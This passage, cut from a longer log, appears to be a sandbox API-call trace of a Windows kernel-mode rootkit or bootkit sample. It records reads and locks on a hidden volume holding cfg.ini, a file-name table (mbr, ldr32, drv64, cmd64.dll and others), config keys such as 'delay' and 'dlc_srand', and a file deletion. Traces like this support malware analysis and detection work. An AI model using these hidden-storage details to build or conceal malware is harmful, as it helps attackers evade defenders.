MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.013] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.013] IdePortDispatch () returned 0x103 [0125.013] KeWaitForMutexObject () returned 0x0 [0125.013] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.013] KeLeaveCriticalRegion () [0125.013] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.013] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.014] KeEnterCriticalRegion () [0125.014] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.014] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.014] KeLeaveCriticalRegion () [0125.014] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.014] KeEnterCriticalRegion () [0125.014] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.014] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.014] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be9320, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.014] KeLeaveCriticalRegion () [0125.014] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.014] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.014] KeEnterCriticalRegion () [0125.014] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.014] ExFreePoolWithTag (P=0xfffffa8003bf3da0, Tag=0x0) [0125.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.014] KeLeaveCriticalRegion () [0125.014] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.014] ReleaseMutex (hMutex=0xf0) returned 1 [0125.014] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.014] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.014] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.014] KeEnterCriticalRegion () [0125.014] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.014] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.014] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.014] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.014] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.014] IdePortDispatch () returned 0x103 [0125.014] KeWaitForMutexObject () returned 0x0 [0125.014] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.014] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.014] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.014] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.014] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.014] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5fb0 [0125.015] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.015] KeLeaveCriticalRegion () [0125.015] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.015] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.015] KeEnterCriticalRegion () [0125.015] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.015] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.015] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.015] KeLeaveCriticalRegion () [0125.015] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.015] KeEnterCriticalRegion () [0125.015] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.015] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.015] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.015] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.015] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.015] IdePortDispatch () returned 0x103 [0125.015] KeWaitForMutexObject () returned 0x0 [0125.015] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.015] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.015] KeLeaveCriticalRegion () [0125.015] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.015] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.015] KeEnterCriticalRegion () [0125.015] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.015] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b0d000 [0125.015] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.015] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.015] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.015] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.015] IdePortDispatch () returned 0x103 [0125.015] KeWaitForMutexObject () returned 0x0 [0125.016] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.016] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.016] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.016] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.016] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.016] IdePortDispatch () returned 0x103 [0125.016] KeWaitForMutexObject () returned 0x0 [0125.016] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.016] KeLeaveCriticalRegion () [0125.016] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.016] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.016] KeEnterCriticalRegion () [0125.016] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.016] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.016] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.016] KeLeaveCriticalRegion () [0125.016] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.017] KeEnterCriticalRegion () [0125.017] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.017] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.017] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf41d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.017] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.017] KeLeaveCriticalRegion () [0125.017] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.017] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.017] KeEnterCriticalRegion () [0125.017] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.017] ExFreePoolWithTag (P=0xfffffa8003bf5fb0, Tag=0x0) [0125.017] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.017] KeLeaveCriticalRegion () [0125.017] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.017] ReleaseMutex (hMutex=0xf0) returned 1 [0125.017] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.017] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.017] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.017] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.017] KeEnterCriticalRegion () [0125.017] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.017] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.017] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.017] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.017] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.017] IdePortDispatch () returned 0x103 [0125.017] KeWaitForMutexObject () returned 0x0 [0125.017] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.017] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.017] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.017] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.017] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.017] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.017] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.017] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.017] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.017] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.017] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.017] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.017] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.018] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.018] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.018] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.018] KeLeaveCriticalRegion () [0125.018] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.018] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.018] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.018] KeEnterCriticalRegion () [0125.018] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.018] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.018] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.018] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.018] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.018] IdePortDispatch () returned 0x103 [0125.018] KeWaitForMutexObject () returned 0x0 [0125.018] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.018] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.018] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.018] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.018] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.018] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.018] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.018] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.018] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.018] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.018] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.018] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.018] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.018] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.018] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.018] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.018] KeLeaveCriticalRegion () [0125.018] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.018] ReleaseMutex (hMutex=0x100) returned 1 [0125.018] Sleep (dwMilliseconds=0x2bf20) [0125.025] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6db66310, dwHighDateTime=0x1d24fa4)) [0125.025] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.025] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.025] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.025] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.025] KeEnterCriticalRegion () [0125.025] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.025] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.025] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.025] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.025] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.025] IdePortDispatch () returned 0x103 [0125.025] KeWaitForMutexObject () returned 0x0 [0125.025] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.025] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.025] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.025] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.025] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.025] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be9160 [0125.025] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.025] KeLeaveCriticalRegion () [0125.025] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.025] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.025] KeEnterCriticalRegion () [0125.025] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.025] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.025] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.025] KeLeaveCriticalRegion () [0125.025] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.025] KeEnterCriticalRegion () [0125.025] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.025] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.025] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.025] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.025] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.025] IdePortDispatch () returned 0x103 [0125.026] KeWaitForMutexObject () returned 0x0 [0125.026] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.026] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.026] KeLeaveCriticalRegion () [0125.026] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.026] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.026] KeEnterCriticalRegion () [0125.026] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.026] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b10000 [0125.026] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.026] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.026] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.026] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.026] IdePortDispatch () returned 0x103 [0125.026] KeWaitForMutexObject () returned 0x0 [0125.026] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.026] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.026] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.026] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.026] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.026] IdePortDispatch () returned 0x103 [0125.026] KeWaitForMutexObject () returned 0x0 [0125.027] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.027] KeLeaveCriticalRegion () [0125.027] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.027] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.027] KeEnterCriticalRegion () [0125.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.027] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.027] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.027] KeLeaveCriticalRegion () [0125.027] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.027] KeEnterCriticalRegion () [0125.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.027] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.027] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf5e10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.027] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.027] KeLeaveCriticalRegion () [0125.027] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.027] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.027] KeEnterCriticalRegion () [0125.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.027] ExFreePoolWithTag (P=0xfffffa8003be9160, Tag=0x0) [0125.027] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.027] KeLeaveCriticalRegion () [0125.027] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.027] ReleaseMutex (hMutex=0xf0) returned 1 [0125.028] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.028] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.028] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.028] KeEnterCriticalRegion () [0125.028] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.028] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.028] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.028] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.028] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.028] IdePortDispatch () returned 0x103 [0125.028] KeWaitForMutexObject () returned 0x0 [0125.028] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.028] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.028] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.028] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.028] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.028] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be8910 [0125.028] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.028] KeLeaveCriticalRegion () [0125.028] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.028] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.028] KeEnterCriticalRegion () [0125.028] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.028] 